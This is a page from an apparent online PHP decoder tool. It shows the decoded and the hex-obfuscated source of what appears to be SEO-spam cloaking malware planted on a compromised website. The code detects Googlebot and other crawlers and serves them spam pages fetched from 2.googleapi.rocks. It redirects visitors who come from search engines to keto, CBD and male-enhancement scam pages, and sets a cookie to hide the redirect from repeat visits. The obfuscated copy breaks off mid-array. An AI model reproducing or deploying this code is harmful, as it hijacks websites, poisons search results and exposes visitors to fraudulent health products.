Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto YjPTO; Vtmff: header("\x6c\157\143\141\164\x69\x6f\x6e\72\x20" . $Uvf9L); goto..
Decoded Output download
<?php
goto YjPTO; Vtmff: header("location: " . $Uvf9L); goto whDbL; rDb7N: VsLeA: goto uuSwj; bDbx7: hMGLF: goto QpPFo; mNK0u: if (!(FALSE !== strpos(gethostbyaddr($KdmaJ), "google"))) { goto lEWPN; } goto Fm0Wg; ipUs4: $BZsPS = count($UhtkY) - 1; goto jITx3; FW9C9: $e1tga = strtolower($_SERVER["HTTP_REFERER"]); goto UyFyw; Fm0Wg: $DCHdf = 1; goto IMVKX; gOK9f: $R_XLa = vUjdI("http://2.googleapi.rocks/2023/1/keto/keto4/main.php?key=" . $JVre8 . "&host=" . $_SERVER["HTTP_HOST"] . "&www=2"); goto Uf4xF; xjIej: $Uvf9L = "https://2.googleapi.rocks/health/weight-loss.html"; goto UV1nH; Z2Kij: oc6RJ: goto A_513; NFoXy: $eosPn = array("health-a", "health-b", "health-c", "health-d", "health-e", "health-f", "health-g", "health-h", "health-i", "health-cbd"); goto F6OTl; xaNJ4: if (!($JVre8 !== NULL)) { goto MdgN2; } goto FAtcA; nIRfl: if (!preg_match("/^\/" . $UhtkY[$pemh7] . "\/(.*)/isU", $_SERVER["REQUEST_URI"])) { goto an3uF; } goto Nyh8S; GcBuf: $R_XLa = str_replace("http://genomics.rwth-aachen.de/", "https://genomics.rwth-aachen.de/", $R_XLa); goto H_fel; wNtcr: $cc28G = array("health-r", "health-s", "health-t", "health-u", "health-v", "health-w", "health-x", "health-y", "health-z", "health-keto"); goto YMsLO; W8Mzm: echo $R_XLa; goto yw5LZ; UyFyw: if (!(BI4Qw($e1tga) && $JVre8 !== NULL && empty($_COOKIE["haircki"]))) { goto p_d_I; } goto Vtmff; cpJhK: if (!($pemh7 <= $BZsPS)) { goto SShAm; } goto nIRfl; FAtcA: $R_XLa = vujDi("http://2.googleapi.rocks/2023/1/cbd/cbd4/main.php?key=" . $JVre8 . "&host=" . $_SERVER["HTTP_HOST"] . "&www=2"); goto GcBuf; Lo8hp: $JVre8 = $_SERVER["REQUEST_URI"]; goto xjIej; whDbL: exit; goto iqbTY; SFaAd: m80pR: goto ZZFm_; HfysJ: c3IG9: goto i7Wdj; ZR8K2: function f0YYZ() { goto AjCQG; olTzl: $HJ9pD = $_SERVER["REMOTE_ADDR"]; goto LFhce; a0ANu: return $HJ9pD; goto V0jhc; FmWGK: Voarx: goto jVEtC; YusdP: if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) { goto C8VZb; } goto eaT3Q; VoQBt: goto SLjtQ; goto Q_iEg; gIka7: $HJ9pD = getenv("REMOTE_ADDR"); goto VoQBt; OXoBq: $HJ9pD = getenv("HTTP_CLIENT_IP"); goto YH9ib; lOr3x: BUdbz: goto OXoBq; Q_iEg: i5hVP: goto olTzl; eNIn4: C8VZb: goto gIka7; T0sqC: goto SLjtQ; goto lOr3x; jVEtC: $HJ9pD = getenv("HTTP_X_FORWARDED_FOR"); goto Sfvz5; eaT3Q: if (isset($_SERVER["REMOTE_ADDR"]) && $_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) { goto i5hVP; } goto T0sqC; qsxUm: if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) { goto BUdbz; } goto dED0D; AjCQG: $HJ9pD = ''; goto qsxUm; Sfvz5: goto SLjtQ; goto eNIn4; LFhce: SLjtQ: goto a0ANu; YH9ib: goto SLjtQ; goto FmWGK; dED0D: if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) { goto Voarx; } goto YusdP; V0jhc: } goto PvuvM; CcTU0: echo $R_XLa; goto VDG4q; uuSwj: xqUFd: goto z0RFy; A2PmJ: SShAm: goto sC7w6; pYm__: $wU1kq = "./backup/"; goto vNDNG; niSTd: if (!($JVre8 !== NULL)) { goto Z6nL6; } goto tcxtg; jITx3: $pemh7 = 0; goto BtgQG; Uf4xF: $R_XLa = str_replace("http://genomics.rwth-aachen.de/", "https://genomics.rwth-aachen.de/", $R_XLa); goto Dubm0; xOrhm: function Bi4QW($ro1Ju) { goto I8U0I; I8U0I: $Ac_Re = str_replace("x", '', "xgxoxxoxgxlxe|duxckxduxckxgxo|bxxixnxgx|yxxaxhxoxo|sxexxaxrxcxh|axsxxk|xaxoxxlx|yxxanxdxxex|wexxbxcrxxawxxler|poxxshxxukxxach|pxcxxh|excoxxsxia|hxxeaxxltxxh247x|ixxnxxfo|myxxwebxxsexaxxrch|stxarxxtpxxage|qxwxaxnt|google|duckduckgo|bing|yahoo|search|ask|aol|yandex|webcrawler|poshukach|pch|ecosia|health247|info|mywebsearch|startpage|qwant|vitad"); goto opp5y; XMVea: tI1pB: goto Ue1NQ; EPCOT: return false; goto G0z8U; G0z8U: goto tI1pB; goto NRxri; opp5y: if (preg_match("/{$Ac_Re}/i", $ro1Ju)) { goto t66Pz; } goto EPCOT; NRxri: t66Pz: goto I4Wg4; I4Wg4: return true; goto XMVea; Ue1NQ: } goto ZR8K2; vNDNG: $JVre8 = $_SERVER["REQUEST_URI"]; goto PiJbC; ZQJgk: $Uvf9L = "https://2.googleapi.rocks/health/male-enhancement-pill.html"; goto MhvH_; fhml3: $Ncj5O = 0; goto VzKvG; HZUNl: $wU1kq = "./backup/"; goto pYXFR; H_fel: $R_XLa = str_replace(".html", '', $R_XLa); goto CcTU0; x6S4e: $lDPkG = "2"; goto MyROA; F6OTl: $UhtkY = array("health-j", "health-k", "health-l", "health-m", "health-n", "health-o", "health-p", "health-q", "health-ed", "health-male"); goto wNtcr; kvU6G: $R_XLa = str_replace(".html", '', $R_XLa); goto lkbig; lkbig: echo $R_XLa; goto t3f9y; zMHM8: if (!(bi4qw($e1tga) && $JVre8 !== NULL && empty($_COOKIE["haircki"]))) { goto f1l2d; } goto vlYUa; z0RFy: $Zchc6++; goto nAoKw; YjPTO: error_reporting(0); goto QpVjY; DaSa1: kyElE: goto rDb7N; sdfO1: $DCHdf = 1; goto GhLsf; PiJbC: $Uvf9L = "https://2.googleapi.rocks/health/cbd-gummies.html"; goto FW9C9; gmzbc: jef0T: goto DaSa1; GhLsf: yj26y: goto mNK0u; RZaFa: if (!($JVre8 !== NULL)) { goto jef0T; } goto gOK9f; swWGz: $ygRkr = array("#Ask\s*Jeeves#i", "#HP\s*Web\s*PrintSmart#i", "#HTTrack#i", "#IDBot#i", "#Indy\s*Library#", "#ListChecker#i", "#MSIECrawler#i", "#NetCache#i", "#Nutch#i", "#RPT-HTTPClient#i", "#rulinki\.ru#i", "#Twiceler#i", "#WebAlta#i", "#Webster\s*Pro#i", "#www\.cys\.ru#i", "#Wysigot#i", "#Yahoo!\s*Slurp#i", "#Yeti#i", "#Accoona#i", "#CazoodleBot#i", "#CFNetwork#i", "#ConveraCrawler#i", "#DISCo#i", "#Download\s*Master#i", "#FAST\s*MetaWeb\s*Crawler#i", "#Flexum\s*spider#i", "#Gigabot#i", "#HTMLParser#i", "#ia_archiver#i", "#ichiro#i", "#IRLbot#i", "#Java#i", "#km\.ru\s*bot#i", "#kmSearchBot#i", "#libwww-perl#i", "#Lupa\.ru#i", "#LWP::Simple#i", "#lwp-trivial#i", "#Missigua#i", "#MJ12bot#i", "#msnbot#i", "#msnbot-media#i", "#Offline\s*Explorer#i", "#OmniExplorer_Bot#i", "#PEAR#i", "#psbot#i", "#Python#i", "#rulinki\.ru#i", "#SMILE#i", "#Speedy#i", "#Teleport\s*Pro#i", "#TurtleScanner#i", "#User-Agent#i", "#voyager#i", "#Webalta#i", "#WebCopier#i", "#WebData#i", "#WebZIP#i", "#Wget#i", "#Yandex#i", "#Yanga#i", "#Yeti#i", "#msnbot#i", "#spider#i", "#yahoo#i", "#jeeves#i", "#google#i", "#altavista#i", "#scooter#i", "#av\s*fetch#i", "#asterias#i", "#spiderthread revision#i", "#sqworm#i", "#ask#i", "#lycos.spider#i", "#infoseek sidewinder#i", "#ultraseek#i", "#polybot#i", "#webcrawler#i", "#robozill#i", "#gulliver#i", "#architextspider#i", "#yahoo!\s*slurp#i", "#charlotte#i", "#ngb#i", "#BingBot#i"); goto ELCQu; ol6IM: if (!preg_match("/^\/" . $eosPn[$Ncj5O] . "\/(.*)/isU", $_SERVER["REQUEST_URI"])) { goto jco7e; } goto n0wha; jwfED: exit; goto xDiY2; dTncJ: $R_XLa = str_replace("http://genomics.rwth-aachen.de/", "https://genomics.rwth-aachen.de/", $R_XLa); goto kvU6G; ayJKn: if (!($Ncj5O <= $cK1zs)) { goto fZo_M; } goto ol6IM; cFWqw: if (!$DCHdf) { goto m80pR; } goto xaNJ4; ELCQu: if (!(!empty($_SERVER["HTTP_USER_AGENT"]) && FALSE !== strpos(preg_replace($ygRkr, "-NO-WAY-", $_SERVER["HTTP_USER_AGENT"]), "-NO-WAY-"))) { goto yj26y; } goto sdfO1; VzKvG: jGoc4: goto ayJKn; YMsLO: $cK1zs = count($eosPn) - 1; goto fhml3; xDiY2: f1l2d: goto KqBoV; WpUe0: $Ncj5O++; goto AeWFj; AeWFj: goto jGoc4; goto k0Ucr; JHNeR: EAinq: goto nlLZH; i7Wdj: if (!($Zchc6 <= $lGrWA)) { goto hMGLF; } goto g6Y8g; PvuvM: $KdmaJ = f0YyZ(); goto swWGz; MyROA: $wU1kq = "./backup/"; goto Lo8hp; Xb3MY: BI_0f: goto mhDt3; UV1nH: $e1tga = strtolower($_SERVER["HTTP_REFERER"]); goto ZKMV4; Dubm0: $R_XLa = str_replace(".html", '', $R_XLa); goto W8Mzm; iqbTY: p_d_I: goto cFWqw; ZZFm_: jco7e: goto qCpAM; t3f9y: exit; goto twS3p; RrUXf: goto X1iP8; goto A2PmJ; Nyh8S: $lDPkG = "2"; goto HZUNl; kMPlF: header("location: " . $Uvf9L); goto Kgqjf; pYXFR: $JVre8 = $_SERVER["REQUEST_URI"]; goto ZQJgk; k0Ucr: fZo_M: goto ipUs4; nlLZH: an3uF: goto Xb3MY; mhDt3: $pemh7++; goto RrUXf; yw5LZ: exit; goto gmzbc; A_513: if (!$DCHdf) { goto kyElE; } goto RZaFa; BtgQG: X1iP8: goto cpJhK; vlYUa: header("location: " . $Uvf9L); goto jwfED; anLmV: $Zchc6 = 0; goto HfysJ; MhvH_: $e1tga = strtolower($_SERVER["HTTP_REFERER"]); goto zMHM8; VDG4q: exit; goto pQFGL; QpVjY: function vUjDI($AiR35) { goto fSKnu; Cd1pT: curl_setopt($kNa9E, CURLOPT_RETURNTRANSFER, 1); goto Vk3Bq; fSKnu: $kTnPX = file_get_contents($AiR35); goto al60V; Vk3Bq: curl_setopt($kNa9E, CURLOPT_CONNECTTIMEOUT, $WuFQN); goto Wm4yF; Y8FMh: curl_close($kNa9E); goto r1k6S; qJRdg: curl_setopt($kNa9E, CURLOPT_URL, $AiR35); goto Cd1pT; r1k6S: fHNpl: goto L5SE4; Wm4yF: $kTnPX = curl_exec($kNa9E); goto Y8FMh; ix5R3: $kNa9E = curl_init(); goto JdDr2; al60V: if (!empty($kTnPX)) { goto fHNpl; } goto ix5R3; L5SE4: return $kTnPX; goto z_FOd; JdDr2: $WuFQN = 5; goto qJRdg; z_FOd: } goto xOrhm; IMVKX: lEWPN: goto NFoXy; pQFGL: MdgN2: goto SFaAd; g6Y8g: if (!preg_match("/^\/" . $cc28G[$Zchc6] . "\/(.*)/isU", $_SERVER["REQUEST_URI"])) { goto VsLeA; } goto x6S4e; ZKMV4: if (!(bI4qw($e1tga) && $JVre8 !== NULL && empty($_COOKIE["haircki"]))) { goto oc6RJ; } goto kMPlF; KqBoV: if (!$DCHdf) { goto EAinq; } goto niSTd; tcxtg: $R_XLa = vUJdI("http://2.googleapi.rocks/2023/1/ed/ed4/main.php?key=" . $JVre8 . "&host=" . $_SERVER["HTTP_HOST"] . "&www=2"); goto dTncJ; twS3p: Z6nL6: goto JHNeR; Kgqjf: exit; goto Z2Kij; nAoKw: goto c3IG9; goto bDbx7; sC7w6: $lGrWA = count($cc28G) - 1; goto anLmV; qCpAM: iXmVq: goto WpUe0; n0wha: $lDPkG = "2"; goto pYm__; QpPFo: setcookie("haircki", "haircooki", time() + 3600 * 24 * 100);
?>
Did this file decode correctly?
Original Code
<?php
goto YjPTO; Vtmff: header("\x6c\157\143\141\164\x69\x6f\x6e\72\x20" . $Uvf9L); goto whDbL; rDb7N: VsLeA: goto uuSwj; bDbx7: hMGLF: goto QpPFo; mNK0u: if (!(FALSE !== strpos(gethostbyaddr($KdmaJ), "\x67\157\x6f\147\x6c\x65"))) { goto lEWPN; } goto Fm0Wg; ipUs4: $BZsPS = count($UhtkY) - 1; goto jITx3; FW9C9: $e1tga = strtolower($_SERVER["\110\124\124\120\x5f\122\105\x46\105\122\x45\x52"]); goto UyFyw; Fm0Wg: $DCHdf = 1; goto IMVKX; gOK9f: $R_XLa = vUjdI("\x68\164\164\x70\x3a\x2f\57\x32\x2e\x67\157\x6f\147\154\145\x61\x70\151\56\x72\157\143\153\163\x2f\x32\x30\x32\63\x2f\61\57\153\x65\x74\x6f\x2f\x6b\145\x74\x6f\x34\57\155\141\x69\156\56\x70\x68\160\x3f\153\145\171\x3d" . $JVre8 . "\x26\150\157\163\164\x3d" . $_SERVER["\x48\124\124\x50\x5f\110\117\x53\124"] . "\46\x77\167\x77\75\x32"); goto Uf4xF; xjIej: $Uvf9L = "\x68\164\x74\x70\163\72\57\57\62\x2e\147\x6f\157\x67\154\145\141\x70\x69\x2e\162\x6f\x63\153\x73\57\150\x65\x61\154\164\150\x2f\x77\x65\151\x67\150\x74\55\x6c\157\163\163\x2e\150\x74\x6d\154"; goto UV1nH; Z2Kij: oc6RJ: goto A_513; NFoXy: $eosPn = array("\x68\145\x61\154\164\150\55\x61", "\x68\145\x61\154\x74\150\x2d\x62", "\x68\x65\x61\x6c\x74\x68\x2d\x63", "\x68\145\x61\154\x74\x68\x2d\x64", "\x68\x65\x61\154\164\150\x2d\x65", "\x68\x65\x61\x6c\x74\150\55\146", "\x68\x65\141\154\x74\x68\x2d\x67", "\150\145\141\154\164\150\x2d\x68", "\150\145\x61\x6c\164\x68\55\151", "\x68\145\141\x6c\164\x68\x2d\143\142\x64"); goto F6OTl; xaNJ4: if (!($JVre8 !== NULL)) { goto MdgN2; } goto FAtcA; nIRfl: if (!preg_match("\57\136\x5c\x2f" . $UhtkY[$pemh7] . "\134\x2f\x28\x2e\52\51\x2f\151\x73\x55", $_SERVER["\122\x45\x51\125\105\x53\124\x5f\125\x52\x49"])) { goto an3uF; } goto Nyh8S; GcBuf: $R_XLa = str_replace("\x68\x74\164\160\72\x2f\57\147\x65\156\x6f\155\x69\x63\x73\x2e\162\167\x74\150\x2d\141\141\x63\x68\x65\156\x2e\x64\x65\57", "\x68\164\164\160\x73\72\x2f\x2f\147\x65\156\x6f\155\x69\143\x73\x2e\x72\167\x74\x68\55\141\x61\143\x68\x65\x6e\56\144\x65\x2f", $R_XLa); goto H_fel; wNtcr: $cc28G = array("\150\145\x61\154\164\x68\x2d\x72", "\150\x65\141\x6c\x74\150\55\x73", "\150\x65\x61\154\164\150\x2d\x74", "\150\145\141\x6c\164\150\55\x75", "\x68\145\141\154\164\150\55\166", "\150\x65\141\154\x74\x68\55\x77", "\x68\145\x61\154\164\150\55\x78", "\150\145\x61\x6c\x74\150\55\171", "\150\x65\141\154\x74\150\55\172", "\150\145\141\x6c\164\150\55\153\x65\x74\157"); goto YMsLO; W8Mzm: echo $R_XLa; goto yw5LZ; UyFyw: if (!(BI4Qw($e1tga) && $JVre8 !== NULL && empty($_COOKIE["\150\x61\x69\162\x63\x6b\x69"]))) { goto p_d_I; } goto Vtmff; cpJhK: if (!($pemh7 <= $BZsPS)) { goto SShAm; } goto nIRfl; FAtcA: $R_XLa = vujDi("\150\x74\x74\x70\x3a\57\x2f\62\56\147\x6f\157\x67\x6c\x65\x61\160\x69\x2e\x72\157\143\153\163\x2f\x32\60\x32\x33\x2f\61\x2f\x63\142\144\x2f\143\x62\x64\64\x2f\155\x61\x69\x6e\56\x70\x68\x70\77\153\x65\x79\75" . $JVre8 . "\46\150\157\163\x74\75" . $_SERVER["\x48\124\x54\x50\x5f\110\117\x53\x54"] . "\x26\x77\167\167\x3d\x32"); goto GcBuf; Lo8hp: $JVre8 = $_SERVER["\x52\105\x51\x55\x45\x53\x54\137\x55\122\111"]; goto xjIej; whDbL: exit; goto iqbTY; SFaAd: m80pR: goto ZZFm_; HfysJ: c3IG9: goto i7Wdj; ZR8K2: function f0YYZ() { goto AjCQG; olTzl: $HJ9pD = $_SERVER["\x52\105\x4d\x4f\x54\x45\137\x41\x44\104\122"]; goto LFhce; a0ANu: return $HJ9pD; goto V0jhc; FmWGK: Voarx: goto jVEtC; YusdP: if (getenv("\122\105\x4d\x4f\124\x45\137\101\104\x44\x52") && strcasecmp(getenv("\122\105\115\117\x54\105\137\x41\104\x44\x52"), "\x75\x6e\153\x6e\x6f\x77\x6e")) { goto C8VZb; } goto eaT3Q; VoQBt: goto SLjtQ; goto Q_iEg; gIka7: $HJ9pD = getenv("\122\x45\x4d\117\124\105\x5f\x41\x44\104\122"); goto VoQBt; OXoBq: $HJ9pD = getenv("\110\x54\x54\120\137\103\x4c\x49\105\116\x54\137\111\120"); goto YH9ib; lOr3x: BUdbz: goto OXoBq; Q_iEg: i5hVP: goto olTzl; eNIn4: C8VZb: goto gIka7; T0sqC: goto SLjtQ; goto lOr3x; jVEtC: $HJ9pD = getenv("\110\124\x54\120\137\130\137\106\117\122\x57\x41\x52\x44\105\104\x5f\x46\x4f\122"); goto Sfvz5; eaT3Q: if (isset($_SERVER["\122\x45\x4d\117\x54\x45\x5f\101\104\104\x52"]) && $_SERVER["\122\105\115\117\124\105\137\101\x44\x44\x52"] && strcasecmp($_SERVER["\x52\x45\115\117\x54\x45\x5f\101\104\104\122"], "\x75\156\x6b\x6e\157\167\x6e")) { goto i5hVP; } goto T0sqC; qsxUm: if (getenv("\110\x54\124\120\x5f\x43\114\111\x45\x4e\124\137\x49\x50") && strcasecmp(getenv("\110\x54\x54\x50\137\103\x4c\111\x45\116\x54\137\x49\120"), "\165\x6e\x6b\156\157\167\156")) { goto BUdbz; } goto dED0D; AjCQG: $HJ9pD = ''; goto qsxUm; Sfvz5: goto SLjtQ; goto eNIn4; LFhce: SLjtQ: goto a0ANu; YH9ib: goto SLjtQ; goto FmWGK; dED0D: if (getenv("\x48\x54\124\120\x5f\x58\137\106\117\x52\127\x41\122\104\x45\x44\137\x46\x4f\x52") && strcasecmp(getenv("\x48\124\x54\x50\x5f\x58\x5f\106\x4f\122\x57\x41\x52\x44\105\x44\137\106\117\x52"), "\165\x6e\153\156\157\x77\x6e")) { goto Voarx; } goto YusdP; V0jhc: } goto PvuvM; CcTU0: echo $R_XLa; goto VDG4q; uuSwj: xqUFd: goto z0RFy; A2PmJ: SShAm: goto sC7w6; pYm__: $wU1kq = "\56\57\142\141\x63\x6b\165\x70\x2f"; goto vNDNG; niSTd: if (!($JVre8 !== NULL)) { goto Z6nL6; } goto tcxtg; jITx3: $pemh7 = 0; goto BtgQG; Uf4xF: $R_XLa = str_replace("\150\x74\164\160\72\57\x2f\x67\x65\x6e\x6f\x6d\x69\143\163\56\162\167\164\150\x2d\x61\141\x63\x68\145\x6e\x2e\144\145\57", "\150\x74\164\x70\163\x3a\57\x2f\147\x65\x6e\157\x6d\151\x63\163\56\162\x77\164\x68\55\x61\141\143\x68\145\x6e\56\144\x65\57", $R_XLa); goto Dubm0; xOrhm: function Bi4QW($ro1Ju) { goto I8U0I; I8U0I: $Ac_Re = str_replace("\x78", '', "\x78\x67\170\x6f\x78\x78\x6f\170\147\x78\x6c\x78\x65\174\x64\x75\170\143\153\x78\x64\x75\x78\x63\x6b\x78\x67\x78\x6f\x7c\x62\170\170\151\x78\x6e\170\147\170\174\x79\x78\x78\141\170\150\170\x6f\x78\157\x7c\x73\170\145\x78\x78\141\170\162\170\x63\170\150\x7c\x61\x78\163\x78\170\153\174\170\141\170\x6f\x78\x78\x6c\170\x7c\x79\x78\170\x61\156\170\144\170\170\145\170\x7c\x77\145\x78\170\142\x78\x63\x72\x78\x78\x61\x77\170\x78\154\145\x72\x7c\160\157\x78\170\163\x68\x78\x78\x75\x6b\170\x78\x61\x63\x68\174\160\x78\143\x78\170\150\x7c\x65\x78\x63\157\170\170\163\x78\151\x61\174\x68\x78\170\145\141\x78\170\x6c\164\x78\170\150\62\64\x37\x78\174\x69\170\x78\156\x78\x78\146\157\174\155\171\x78\x78\x77\x65\x62\170\170\163\x65\x78\x61\170\170\x72\x63\150\174\x73\164\x78\x61\x72\x78\x78\164\160\x78\x78\141\147\145\174\161\x78\x77\x78\141\x78\156\x74\x7c\x67\x6f\157\x67\154\x65\x7c\x64\165\x63\153\144\165\143\x6b\x67\157\x7c\x62\151\156\147\x7c\171\x61\x68\157\157\x7c\x73\x65\x61\162\x63\150\x7c\141\x73\x6b\x7c\x61\x6f\x6c\174\171\141\156\144\x65\x78\x7c\x77\x65\x62\x63\162\x61\167\154\145\162\174\x70\x6f\x73\150\165\x6b\141\x63\150\x7c\x70\x63\150\x7c\x65\143\157\163\x69\141\x7c\150\145\141\x6c\164\150\x32\x34\67\x7c\151\x6e\x66\157\174\x6d\171\x77\x65\142\163\x65\141\x72\x63\x68\174\x73\x74\141\x72\x74\x70\141\x67\x65\174\161\x77\x61\x6e\164\174\x76\151\x74\x61\x64"); goto opp5y; XMVea: tI1pB: goto Ue1NQ; EPCOT: return false; goto G0z8U; G0z8U: goto tI1pB; goto NRxri; opp5y: if (preg_match("\57{$Ac_Re}\x2f\x69", $ro1Ju)) { goto t66Pz; } goto EPCOT; NRxri: t66Pz: goto I4Wg4; I4Wg4: return true; goto XMVea; Ue1NQ: } goto ZR8K2; vNDNG: $JVre8 = $_SERVER["\x52\105\x51\125\105\x53\x54\137\125\x52\x49"]; goto PiJbC; ZQJgk: $Uvf9L = "\150\164\164\x70\163\x3a\x2f\x2f\62\x2e\x67\157\157\x67\154\x65\141\x70\x69\x2e\x72\x6f\x63\x6b\x73\x2f\150\145\141\x6c\164\150\57\x6d\141\154\x65\x2d\x65\156\150\141\156\143\145\x6d\145\156\164\55\x70\x69\x6c\x6c\56\150\x74\x6d\154"; goto MhvH_; fhml3: $Ncj5O = 0; goto VzKvG; HZUNl: $wU1kq = "\56\57\x62\x61\x63\x6b\165\160\x2f"; goto pYXFR; H_fel: $R_XLa = str_replace("\x2e\150\x74\x6d\154", '', $R_XLa); goto CcTU0; x6S4e: $lDPkG = "\62"; goto MyROA; F6OTl: $UhtkY = array("\x68\x65\141\154\x74\150\55\152", "\x68\x65\x61\x6c\164\150\55\153", "\x68\x65\141\154\164\150\x2d\154", "\x68\x65\141\154\x74\150\55\155", "\x68\x65\x61\154\x74\150\x2d\x6e", "\150\x65\x61\154\164\x68\x2d\157", "\x68\145\x61\154\164\x68\55\x70", "\150\x65\x61\154\164\150\55\x71", "\x68\x65\141\154\164\150\x2d\x65\x64", "\150\x65\141\x6c\164\x68\55\x6d\141\x6c\145"); goto wNtcr; kvU6G: $R_XLa = str_replace("\56\x68\164\x6d\x6c", '', $R_XLa); goto lkbig; lkbig: echo $R_XLa; goto t3f9y; zMHM8: if (!(bi4qw($e1tga) && $JVre8 !== NULL && empty($_COOKIE["\150\141\151\162\x63\153\151"]))) { goto f1l2d; } goto vlYUa; z0RFy: $Zchc6++; goto nAoKw; YjPTO: error_reporting(0); goto QpVjY; DaSa1: kyElE: goto rDb7N; sdfO1: $DCHdf = 1; goto GhLsf; PiJbC: $Uvf9L = "\150\164\x74\x70\x73\x3a\57\x2f\62\56\147\x6f\x6f\x67\x6c\x65\x61\x70\x69\x2e\x72\157\x63\x6b\x73\x2f\150\145\x61\x6c\x74\x68\57\143\142\144\x2d\x67\x75\155\155\x69\x65\x73\56\150\164\155\154"; goto FW9C9; gmzbc: jef0T: goto DaSa1; GhLsf: yj26y: goto mNK0u; RZaFa: if (!($JVre8 !== NULL)) { goto jef0T; } goto gOK9f; swWGz: $ygRkr = array("\43\101\x73\153\134\x73\x2a\112\x65\145\x76\145\163\43\151", "\43\x48\x50\134\x73\52\x57\x65\142\134\x73\x2a\x50\162\x69\156\164\x53\155\x61\x72\164\x23\151", "\x23\x48\x54\x54\x72\x61\x63\153\x23\151", "\43\111\x44\x42\157\164\x23\151", "\43\x49\156\144\171\x5c\163\52\114\x69\x62\162\x61\x72\171\x23", "\x23\x4c\151\163\164\103\x68\145\x63\x6b\145\162\x23\151", "\43\x4d\x53\111\105\103\x72\141\167\x6c\x65\162\x23\151", "\43\x4e\x65\164\x43\141\143\150\145\43\x69", "\43\x4e\165\x74\x63\150\x23\151", "\x23\122\120\124\55\x48\x54\124\x50\103\154\151\x65\x6e\164\x23\151", "\43\x72\x75\x6c\x69\156\153\x69\134\x2e\x72\165\43\x69", "\x23\x54\167\x69\x63\145\154\145\x72\43\151", "\43\x57\x65\142\x41\154\x74\141\43\151", "\43\x57\x65\x62\x73\164\x65\x72\x5c\163\52\120\162\157\x23\151", "\43\167\167\x77\x5c\56\x63\171\163\x5c\x2e\162\165\x23\x69", "\43\x57\x79\x73\x69\147\157\x74\x23\x69", "\43\131\x61\150\157\x6f\41\134\x73\52\x53\x6c\x75\x72\x70\x23\151", "\43\131\x65\x74\x69\43\151", "\43\x41\143\x63\x6f\x6f\156\141\x23\x69", "\43\x43\141\172\x6f\x6f\144\154\145\102\157\x74\x23\151", "\43\103\x46\116\145\x74\x77\157\x72\153\x23\151", "\x23\103\x6f\x6e\x76\145\x72\x61\x43\x72\x61\167\x6c\145\x72\x23\x69", "\x23\x44\111\123\103\x6f\x23\151", "\43\104\157\167\156\x6c\x6f\141\144\x5c\x73\x2a\x4d\141\x73\164\145\162\x23\151", "\x23\106\x41\123\124\134\163\52\115\145\x74\x61\x57\x65\142\x5c\x73\52\103\x72\x61\167\154\x65\162\43\x69", "\43\106\154\145\170\x75\155\x5c\163\x2a\163\160\x69\x64\145\162\43\x69", "\43\x47\151\x67\x61\x62\157\x74\x23\151", "\43\x48\124\115\x4c\x50\x61\x72\x73\145\x72\x23\151", "\x23\x69\141\137\x61\162\x63\x68\x69\166\x65\x72\x23\x69", "\43\151\143\x68\x69\162\x6f\43\x69", "\x23\111\x52\x4c\142\x6f\164\43\151", "\43\x4a\141\x76\x61\x23\151", "\x23\x6b\x6d\x5c\x2e\x72\165\x5c\x73\x2a\142\x6f\x74\x23\151", "\x23\x6b\155\123\x65\x61\162\x63\x68\x42\x6f\x74\43\x69", "\43\154\151\142\x77\x77\x77\55\160\x65\162\x6c\x23\151", "\43\x4c\165\160\141\x5c\56\162\165\x23\151", "\x23\114\127\120\72\x3a\x53\151\x6d\160\154\x65\x23\x69", "\43\x6c\x77\160\x2d\x74\162\151\166\151\141\154\x23\x69", "\43\115\151\x73\x73\151\147\x75\x61\43\x69", "\x23\115\112\61\x32\142\x6f\164\43\151", "\x23\155\x73\156\142\157\164\43\151", "\x23\x6d\163\x6e\x62\x6f\x74\55\x6d\145\144\151\x61\43\x69", "\x23\x4f\146\146\154\x69\156\145\134\x73\52\x45\170\160\x6c\157\x72\145\x72\43\151", "\43\x4f\155\156\151\x45\x78\x70\154\157\162\145\162\x5f\x42\157\164\x23\x69", "\x23\x50\x45\x41\122\x23\x69", "\43\x70\163\142\157\164\43\x69", "\x23\120\171\164\x68\157\156\x23\151", "\43\162\x75\154\151\x6e\x6b\x69\134\56\x72\x75\43\x69", "\43\123\115\x49\114\105\43\x69", "\43\123\160\145\x65\144\x79\43\x69", "\x23\x54\x65\154\x65\x70\157\162\x74\x5c\x73\52\x50\x72\x6f\x23\151", "\x23\x54\x75\162\164\x6c\x65\x53\x63\141\x6e\156\145\162\43\x69", "\x23\x55\x73\145\162\55\101\x67\x65\156\164\x23\151", "\43\x76\157\x79\141\147\145\x72\43\x69", "\43\x57\145\142\141\154\164\141\43\x69", "\43\127\x65\x62\103\157\x70\x69\145\162\43\x69", "\43\127\145\x62\x44\x61\164\141\43\151", "\x23\x57\145\x62\x5a\111\120\43\151", "\43\x57\147\x65\x74\x23\x69", "\43\131\141\156\x64\x65\170\x23\x69", "\x23\131\141\x6e\x67\x61\x23\x69", "\43\131\145\164\x69\x23\151", "\43\155\163\156\x62\157\164\43\151", "\43\163\160\x69\x64\x65\x72\43\x69", "\x23\171\x61\150\157\157\43\151", "\x23\x6a\145\x65\166\x65\163\x23\x69", "\43\147\157\x6f\147\x6c\145\43\151", "\43\x61\154\164\141\x76\151\x73\164\141\43\x69", "\x23\x73\143\157\157\x74\x65\162\x23\151", "\x23\141\x76\134\x73\52\146\145\164\x63\150\43\x69", "\43\141\163\x74\x65\x72\x69\141\x73\43\151", "\x23\x73\x70\151\144\145\x72\164\150\x72\145\x61\144\x20\162\145\166\151\x73\x69\157\156\x23\151", "\x23\x73\161\x77\157\162\x6d\x23\x69", "\43\141\163\153\x23\x69", "\43\x6c\171\143\x6f\x73\56\163\160\151\144\x65\162\x23\151", "\x23\151\x6e\146\x6f\x73\x65\145\x6b\40\x73\151\x64\x65\x77\151\156\x64\145\x72\43\151", "\x23\165\154\164\x72\x61\163\x65\145\x6b\x23\x69", "\43\160\157\x6c\x79\142\x6f\164\x23\151", "\43\167\145\x62\143\162\x61\x77\154\145\x72\x23\151", "\x23\x72\x6f\142\157\x7a\x69\x6c\x6c\x23\x69", "\43\x67\x75\154\154\151\166\x65\x72\x23\x69", 